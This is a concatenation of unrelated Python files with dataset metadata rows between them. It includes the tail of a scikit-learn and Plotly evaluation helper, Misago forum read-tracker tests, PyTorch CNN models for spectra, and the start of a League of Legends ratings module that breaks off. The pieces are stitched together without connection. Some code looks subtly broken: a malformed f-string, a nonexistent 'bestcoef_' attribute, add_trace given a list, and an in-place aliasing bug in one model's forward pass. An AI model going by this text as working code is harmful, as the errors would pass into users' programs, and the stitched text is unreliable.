probabilities = algorithm.predict_proba(test_X)
model_roc_auc = roc_auc_score(test_Y, predictions)
metrics = f'''
Classification Report:\n{classification_report(test_Y, predictions)}\n,
Accuracy Score : {accuracy_score(test_Y, predictions)}\n"
AUC Score: {model_roc_auc}\n,
Confusion Matrix:\n{confusion_matrix(test_Y, predictions)}\n
'''
return metrics
def plot_report(processed_df, algorithm, test_X, test_Y, cf, name=None):
cols = [i for i in processed_df.columns if i not in id_col + target_col]
if cf == "coefficients":
coefficients = pd.DataFrame(algorithm.best_estimator_.bestcoef_.ravel())
elif cf == "features":
coefficients = pd.DataFrame(algorithm.best_estimator_.feature_importances_)
column_df = pd.DataFrame(cols)
coef_sumry = (pd.merge(coefficients, column_df, left_index=True,
right_index=True, how="left"))
coef_sumry.columns = ["coefficients", "features"]
coef_sumry = coef_sumry.sort_values(by="coefficients", ascending=False)
predictions = algorithm.predict(test_X)
probabilities = algorithm.predict_proba(test_X)
conf_matrix = confusion_matrix(test_Y, predictions)
model_roc_auc = roc_auc_score(test_Y, predictions)
fpr, tpr, thresholds = roc_curve(test_Y, probabilities[:, 1])
trace1 = go.Heatmap(z=conf_matrix,
x=classes,
y=classes,
showscale=False,
colorscale="Picnic",
name="matrix")
# plot roc curve
trace2 = go.Scatter(x=fpr, y=tpr,
name="Roc : " + str(model_roc_auc),
line=dict(color='rgb(22, 96, 167)', width=2))
trace3 = go.Scatter(x=[0, 1], y=[0, 1],
line=dict(color='rgb(205, 12, 24)', width=2,
dash='dot'))
# plot coeffs
trace4 = go.Bar(x=coef_sumry["features"], y=coef_sumry["coefficients"],
name="coefficients",
marker=dict(color=coef_sumry["coefficients"],
colorscale="Picnic",
line=dict(width=.6, color="black")))
# subplots
fig = make_subplots(rows=2, cols=2, specs=[[{}, {}], [{'colspan': 2}, None]],
subplot_titles=('Confusion Matrix',
'Receiver operating characteristic',
'Coefficients / Feature Importances'))
fig.append_trace(trace1, 1, 1)
fig.append_trace(trace2, 1, 2)
fig.append_trace(trace3, 1, 2)
fig.append_trace(trace4, 2, 1)
fig['layout'].update(showlegend=False, title=f"{name} performance",
autosize=False, height=900, width=800,
plot_bgcolor='rgba(240,240,240, 0.95)',
paper_bgcolor='rgba(240,240,240, 0.95)',
margin=dict(b=195))
fig["layout"]["xaxis2"].update(dict(title="false positive rate"))
fig["layout"]["yaxis2"].update(dict(title="true positive rate"))
fig["layout"]["xaxis3"].update(dict(showgrid=True, tickfont=dict(size=10),
tickangle=90))
fig.layout['hovermode'] = 'x'
fig.show()
return algorithm
def plot_roc_auc(algorithms, test_X, test_Y, name=None):
fig = go.Figure()
for algorithm in algorithms.keys():
predictions = algorithms[algorithm].predict(test_X)
probabilities = algorithms[algorithm].predict_proba(test_X)
model_roc_auc = roc_auc_score(test_Y, predictions)
fpr, tpr, thresholds = roc_curve(test_Y, probabilities[:, 1])
# plot roc curve
trace1 = go.Scatter(x=fpr, y=tpr,
name=f"{algorithm}, AUC: {model_roc_auc}",
line=dict(color='rgb(22, 96, 167)', width=2))
trace2 = go.Scatter(x=[0, 1], y=[0, 1],
line=dict(color='rgb(205, 12, 24)', width=2,
dash='dot'))
fig.add_trace([trace1, trace2])
fig['layout'].update(showlegend=False, title=f"{name} performance",
autosize=False, height=900, width=800,
plot_bgcolor='rgba(240,240,240, 0.95)',
paper_bgcolor='rgba(240,240,240, 0.95)',
margin=dict(b=195))
fig["layout"]["xaxis"].update(dict(title="false positive rate"))
fig["layout"]["yaxis"].update(dict(title="true positive rate"))
fig.layout['hovermode'] = 'x'
fig.show()
return
| 38.536
| 94
| 0.597606
| 1,733
| 14,451
| 4.783035
| 0.121754
| 0.015201
| 0.018579
| 0.015442
| 0.85342
| 0.833635
| 0.812523
| 0.802871
| 0.778622
| 0.778622
| 0
| 0.030684
| 0.27832
| 14,451
| 374
| 95
| 38.639037
| 0.764119
| 0.008442
| 0
| 0.764912
| 0
| 0
| 0.152326
| 0.015086
| 0
| 0
| 0
| 0
| 0
| 1
| 0.021053
| false
| 0
| 0.052632
| 0
| 0.094737
| 0.010526
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c0d4811a463f27d735399d502d351e98147a7d6f
| 5,673
|
py
|
Python
|
misago/misago/readtracker/tests/test_categoriestracker.py
|
vascoalramos/misago-deployment
|
20226072138403108046c0afad9d99eb4163cedc
|
[
"MIT"
] | 2
|
2021-03-06T21:06:13.000Z
|
2021-03-09T15:05:12.000Z
|
misago/misago/readtracker/tests/test_categoriestracker.py
|
vascoalramos/misago-deployment
|
20226072138403108046c0afad9d99eb4163cedc
|
[
"MIT"
] | null | null | null |
misago/misago/readtracker/tests/test_categoriestracker.py
|
vascoalramos/misago-deployment
|
20226072138403108046c0afad9d99eb4163cedc
|
[
"MIT"
] | null | null | null |
from datetime import timedelta
import pytest
from django.utils import timezone
from ...conf.test import override_dynamic_settings
from ...threads.test import reply_thread
from ..categoriestracker import make_read_aware
from ..poststracker import save_read
def remove_tracking(thread):
thread.started_on = timezone.now() - timedelta(days=4)
thread.save()
thread.first_post.posted_on = thread.started_on
thread.first_post.save()
@pytest.fixture
def read_thread(user, thread):
save_read(user, thread.first_post)
return thread
def test_falsy_value_can_be_made_read_aware(request_mock):
make_read_aware(request_mock, None)
make_read_aware(request_mock, False)
def test_empty_list_can_be_made_read_aware(request_mock):
make_read_aware(request_mock, [])
def test_empty_category_is_marked_as_read(request_mock, default_category):
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_tracked_post_is_marked_as_read(
request_mock, post, default_category
):
make_read_aware(request_mock, default_category)
assert not default_category.is_read
assert default_category.is_new
def test_category_with_post_older_than_user_is_marked_as_read(
request_mock, post, default_category
):
post.posted_on = timezone.now() - timedelta(days=1)
post.save()
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
@override_dynamic_settings(readtracker_cutoff=3)
def test_category_with_post_older_than_cutoff_is_marked_as_read(
request_mock, user, post, default_category
):
user.joined_on = timezone.now() - timedelta(days=5)
user.save()
post.posted_on = timezone.now() - timedelta(days=4)
post.save()
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_read_post_is_marked_as_read(
request_mock, user, post, default_category
):
save_read(user, post)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_post_in_thread_older_than_user_is_marked_as_unread(
request_mock, thread, default_category
):
remove_tracking(thread)
reply_thread(thread)
make_read_aware(request_mock, default_category)
assert not default_category.is_read
assert default_category.is_new
def test_category_with_post_in_invisible_thread_is_marked_as_read(
request_mock, hidden_thread, default_category
):
reply_thread(hidden_thread)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_read_post_in_thread_older_than_user_is_marked_as_read(
request_mock, user, thread, default_category
):
remove_tracking(thread)
post = reply_thread(thread)
save_read(user, post)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_read_post_in_read_thread_is_marked_as_read(
request_mock, user, read_thread, default_category
):
post = reply_thread(read_thread)
save_read(user, post)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_invisible_post_in_read_thread_is_marked_as_read(
request_mock, user, read_thread, default_category
):
reply_thread(read_thread, is_unapproved=True)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_new_event_in_read_thread_is_marked_as_unread(
request_mock, read_thread, default_category
):
reply_thread(read_thread, is_event=True)
make_read_aware(request_mock, default_category)
assert not default_category.is_read
assert default_category.is_new
def test_category_with_hidden_event_in_read_thread_is_marked_as_read(
request_mock, read_thread, default_category
):
reply_thread(read_thread, is_hidden=True, is_event=True)
make_read_aware(request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_hidden_event_visible_to_user_in_read_thread_is_marked_as_unread(
request_mock, read_thread, default_category
):
request_mock.user_acl["categories"][default_category.id]["can_hide_events"] = 1
reply_thread(read_thread, is_hidden=True, is_event=True)
make_read_aware(request_mock, default_category)
assert not default_category.is_read
assert default_category.is_new
def test_empty_category_is_marked_as_read_for_anonymous_user(
anonymous_request_mock, default_category
):
make_read_aware(anonymous_request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
def test_category_with_tracked_thread_is_marked_as_read_for_anonymous_user(
anonymous_request_mock, thread, default_category
):
make_read_aware(anonymous_request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
@override_dynamic_settings(readtracker_cutoff=3)
def test_category_with_non_tracked_thread_is_marked_as_read_for_anonymous_user(
anonymous_request_mock, thread, default_category
):
remove_tracking(thread)
make_read_aware(anonymous_request_mock, default_category)
assert default_category.is_read
assert not default_category.is_new
| 30.831522
| 87
| 0.81315
| 822
| 5,673
| 5.10219
| 0.099757
| 0.232475
| 0.129709
| 0.085837
| 0.85217
| 0.832618
| 0.814735
| 0.781354
| 0.75298
| 0.700525
| 0
| 0.001417
| 0.129032
| 5,673
| 183
| 88
| 31
| 0.847399
| 0
| 0
| 0.623188
| 0
| 0
| 0.004407
| 0
| 0
| 0
| 0
| 0
| 0.231884
| 1
| 0.144928
| false
| 0
| 0.050725
| 0
| 0.202899
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| null | 0
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8d047c47ae156bbd68ca8d81122110ff76507645
| 19,244
|
py
|
Python
|
src/nets.py
|
zpreisler/NetsXRF
|
85f8752e332668524ebfe37a802059e56858eaa4
|
[
"MIT"
] | null | null | null |
src/nets.py
|
zpreisler/NetsXRF
|
85f8752e332668524ebfe37a802059e56858eaa4
|
[
"MIT"
] | null | null | null |
src/nets.py
|
zpreisler/NetsXRF
|
85f8752e332668524ebfe37a802059e56858eaa4
|
[
"MIT"
] | null | null | null |
import torch
from torch import nn,optim
class Skip(nn.Module):
def __init__(self,in_channels,out_channels):
super().__init__()
self.conv = nn.Sequential(
nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False),
#nn.BatchNorm1d(in_channels),
nn.ReLU(),
nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False)
)
self.pooling = nn.Sequential(
#nn.BatchNorm1d(in_channels),
nn.ReLU(),
nn.Conv1d(in_channels=in_channels, out_channels=out_channels, padding=0, kernel_size=1,bias=False),
nn.MaxPool1d(kernel_size=2, stride=2)
#nn.Conv1d(out_channels,out_channels,1,2,bias=False)
)
def forward(self,x):
y = self.conv(x)
x = x + y
x = self.pooling(x)
return x
class ResNet0(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.l0 = nn.Sequential(
nn.Conv1d(in_channels=1, out_channels=channels, padding= int(kernel_size / 2), kernel_size=kernel_size)
)
self.reduce = nn.MaxPool1d(kernel_size=2, stride=2)
self.skip_0 = Skip(channels,channels)
self.skip_1 = Skip(channels,channels)
self.skip_2 = Skip(channels,channels)
self.skip_3 = Skip(channels,1)
self.fc2 = nn.Sequential(
nn.Linear(64,6,dtype=torch.float),
nn.ReLU()
)
self.fc3 = nn.Sequential(
nn.Linear(64,32,dtype=torch.float),
nn.Linear(32,6,dtype=torch.float),
nn.ReLU()
)
self.fc = nn.Sequential(
nn.Linear(64,6),
)
def forward(self,x):
#print(x.shape)
x = self.l0(x)
x = self.skip_0(x)
x = self.skip_1(x)
x = self.skip_2(x)
x = self.skip_3(x)
#print('0:',x.shape)
z = x.flatten(1)
#print('1:',z.shape)
#z = self.fc(z)
z = self.fc2(z) + self.fc3(z)
#print('2:',z.shape)
return z
class ResNet1(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.l0 = nn.Sequential(
nn.Conv1d(in_channels=2, out_channels=channels, padding= int(kernel_size / 2), kernel_size=kernel_size,bias=False)
)
#self.reduce = nn.MaxPool1d(kernel_size=2, stride=2)
self.reduce0 = nn.Conv1d(channels,channels,1,2)
self.reduce1 = nn.Conv1d(channels,channels,1,2)
self.reduce2 = nn.Conv1d(channels,channels,1,2)
self.skip_0 = Skip(channels,channels)
self.skip_1 = Skip(channels,channels)
self.skip_2 = Skip(channels,channels)
self.skip_3 = Skip(channels,1)
self.fc = nn.Sequential(
nn.Linear(64,5),
nn.ReLU()
)
def forward(self,x):
positive_x = x
positive_x[x<=0] = 1
x = torch.cat([x,torch.log(positive_x)],axis=1)
#print(x.shape)
x = self.l0(x)
x = self.skip_0(x)
#x = self.skip_1(x) + self.reduce1(x)
#x = self.skip_2(x) + self.reduce2(x)
x = self.skip_1(x)
x = self.skip_2(x)
x = self.skip_3(x)
#print('0:',x.shape)
z = x.flatten(1)
#print('1:',z.shape)
#print(_mean.shape)
#w = torch.cat([z,_mean,_std],axis=1)
#print('2:',w.shape)
z = self.fc(z)
return z
class CNN1(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.c0 = nn.Sequential(
self.conv_0,
#nn.BatchNorm1d(self.conv_0.out_channels,dtype=torch.float),
#nn.ReLU(),
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c1 = nn.Sequential(
self.conv_1,
#nn.BatchNorm1d(self.conv_1.out_channels,dtype=torch.float),
#nn.ReLU(),
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c2 = nn.Sequential(
self.conv_2,
#nn.BatchNorm1d(self.conv_2.out_channels,dtype=torch.float),
#nn.ReLU(),
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c3 = nn.Sequential(
self.conv_3,
#nn.BatchNorm1d(self.conv_3.out_channels,dtype=torch.float),
nn.ReLU(),
#nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,18,dtype=torch.float),
nn.ReLU()
)
self.fc2 = nn.Sequential(
nn.Linear(256 * channels,128 * channels,dtype=torch.float),
nn.Linear(128 * channels,18,dtype=torch.float),
nn.ReLU()
)
def forward(self,x):
positive_x = x
#positive_x[x<=0] = 1
#x = torch.cat([x,torch.log(positive_x)],axis=1)
#print("Xshape",x.shape)
x = self.c0(x)
#print(x.shape)
x = self.c1(x)
#print(x.shape)
x = self.c2(x)
#print(x.shape)
x = self.c3(x)
#print(x.shape)
z = x.flatten(1)
z1 = self.fc(z)
z2 = self.fc2(z)
z = z1 + z2
return z
class CNN2(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.c0 = nn.Sequential(
self.conv_0,
nn.LeakyReLU(0.2),
nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c1 = nn.Sequential(
self.conv_1,
nn.LeakyReLU(0.3),
nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c2 = nn.Sequential(
self.conv_2,
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c3 = nn.Sequential(
self.conv_3,
nn.ReLU(),
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,18,dtype=torch.float),
)
self.m = nn.Parameter(torch.ones(18))
def forward(self,x):
x = self.c0(x)
#print(x.shape)
x = self.c1(x)
#print(x.shape)
x = self.c2(x)
#print(x.shape)
x = self.c3(x)
#print(x.shape)
z = x.flatten(1)
z1 = self.fc(z)
z = z1 * self.m
return z
class CNN3(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.c0 = nn.Sequential(
self.conv_0,
#nn.BatchNorm1d(self.conv_0.out_channels,dtype=torch.float),
nn.ReLU(),
#nn.LeakyReLU(0.3),
nn.MaxPool1d(2,2)
#nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c1 = nn.Sequential(
self.conv_1,
#nn.BatchNorm1d(self.conv_1.out_channels,dtype=torch.float),
nn.ReLU(),
#nn.LeakyReLU(0.2),
nn.MaxPool1d(2,2)
#nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c2 = nn.Sequential(
self.conv_2,
#nn.BatchNorm1d(self.conv_2.out_channels,dtype=torch.float),
nn.ReLU(),
#nn.LeakyReLU(0.1),
nn.MaxPool1d(2,2)
#nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c3 = nn.Sequential(
self.conv_3,
#nn.BatchNorm1d(self.conv_3.out_channels,dtype=torch.float),
#nn.ReLU(),
#nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
#nn.MaxPool1d(2,2)
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,31,dtype=torch.float,bias=False),
)
self.m = nn.Parameter(torch.ones(31,dtype=torch.float))
self.b = nn.Parameter(torch.ones(31,dtype=torch.float))
def forward(self,x):
x = self.c0(x)
x = self.c1(x)
x = self.c2(x)
x = self.c3(x)
#print(x.shape)
z = x.flatten(1)
z1 = self.fc(z)
z = self.b + (z1) * self.m
return z
class CNN_max_pool(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.c0 = nn.Sequential(
self.conv_0,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c1 = nn.Sequential(
self.conv_1,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c2 = nn.Sequential(
self.conv_2,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c3 = nn.Sequential(
self.conv_3,
#nn.ReLU(),
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,18,dtype=torch.float),
)
self.m = nn.Parameter(torch.ones(18))
def forward(self,x):
x = self.c0(x)
#print(x.shape)
x = self.c1(x)
#print(x.shape)
x = self.c2(x)
#print(x.shape)
x = self.c3(x)
#print(x.shape)
z = x.flatten(1)
z1 = self.fc(z)
z = z1 * self.m
return z
class CNN_max_pool_b(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=True)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=True)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=True)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=True)
self.c0 = nn.Sequential(
self.conv_0,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c1 = nn.Sequential(
self.conv_1,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c2 = nn.Sequential(
self.conv_2,
nn.LeakyReLU(0.1),
#nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
nn.MaxPool1d(2,2)
)
self.c3 = nn.Sequential(
self.conv_3,
#nn.ReLU(),
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,18,dtype=torch.float),
)
self.m = nn.Parameter(torch.ones(18))
def forward(self,x):
x = self.c0(x)
#print(x.shape)
x = self.c1(x)
#print(x.shape)
x = self.c2(x)
#print(x.shape)
x = self.c3(x)
#print(x.shape)
z = x.flatten(1)
z1 = self.fc(z)
z = z1 * self.m
return z
class CNN5(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.conv_0 = nn.Conv1d(in_channels=1, out_channels=channels,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_1 = nn.Conv1d(in_channels=self.conv_0.out_channels, out_channels=self.conv_0.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_2 = nn.Conv1d(in_channels=self.conv_1.out_channels, out_channels=self.conv_1.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_3 = nn.Conv1d(in_channels=self.conv_2.out_channels, out_channels=self.conv_2.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.conv_4 = nn.Conv1d(in_channels=self.conv_3.out_channels, out_channels=self.conv_3.out_channels * 2,
kernel_size=kernel_size, padding=int(kernel_size / 2),dtype=torch.float,bias=False)
self.c0 = nn.Sequential(
self.conv_0,
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_0.out_channels,self.conv_0.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c1 = nn.Sequential(
self.conv_1,
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_1.out_channels,self.conv_1.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c2 = nn.Sequential(
self.conv_2,
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_2.out_channels,self.conv_2.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c3 = nn.Sequential(
self.conv_3,
nn.LeakyReLU(0.1),
nn.Conv1d(self.conv_3.out_channels,self.conv_3.out_channels,1,2,dtype=torch.float,bias=False)
)
self.c4 = nn.Sequential(
self.conv_4,
#nn.ReLU(),
nn.Conv1d(self.conv_4.out_channels,self.conv_4.out_channels,1,4,dtype=torch.float,bias=False)
)
self.fc = nn.Sequential(
nn.Linear(256 * channels,18,dtype=torch.float),
)
self.m = nn.Parameter(torch.ones(18))
def forward(self,x):
x = self.c0(x)
#print(x.shape)
x = self.c1(x)
#print(x.shape)
x = self.c2(x)
#print(x.shape)
x = self.c3(x)
x = self.c4(x)
#print(x.shape)
z = x.flatten(1)
#print(z.shape)
z1 = self.fc(z)
z = z1 * self.m
return z
| 35.245421
| 126
| 0.576491
| 2,726
| 19,244
| 3.880044
| 0.033749
| 0.113454
| 0.102108
| 0.09341
| 0.94904
| 0.934953
| 0.918124
| 0.892597
| 0.877848
| 0.872932
| 0
| 0.046802
| 0.291623
| 19,244
| 545
| 127
| 35.310092
| 0.729093
| 0.125598
| 0
| 0.736695
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.05042
| false
| 0
| 0.005602
| 0
| 0.106443
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
239d781702e478d873639a83b3fd7d2bd2d07c3b
| 101
|
py
|
Python
|
test_ukz/test_uklr/__init__.py
|
clauderichard/Ultrakazoid
|
619f1afd1fd55afb06e7d27b2bc30eee9929f660
|
[
"MIT"
] | null | null | null |
test_ukz/test_uklr/__init__.py
|
clauderichard/Ultrakazoid
|
619f1afd1fd55afb06e7d27b2bc30eee9929f660
|
[
"MIT"
] | null | null | null |
test_ukz/test_uklr/__init__.py
|
clauderichard/Ultrakazoid
|
619f1afd1fd55afb06e7d27b2bc30eee9929f660
|
[
"MIT"
] | null | null | null |
from .test_transmatrix import *
from .test_flatparser import *
from .test_patternflattener import *
| 33.666667
| 36
| 0.811881
| 12
| 101
| 6.583333
| 0.5
| 0.303797
| 0.35443
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128713
| 101
| 3
| 36
| 33.666667
| 0.897727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
23c340842d90b3a32f69d3da9e89fa15757035cb
| 6,821
|
py
|
Python
|
loldib/getratings/models/NA/na_masteryi/na_masteryi_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_masteryi/na_masteryi_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_masteryi/na_masteryi_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_MasterYi_Top_Aatrox(Ratings):
pass
class NA_MasterYi_Top_Ahri(Ratings):
pass
class NA_MasterYi_Top_Akali(Ratings):
pass
class NA_MasterYi_Top_Alistar(Ratings):
pass
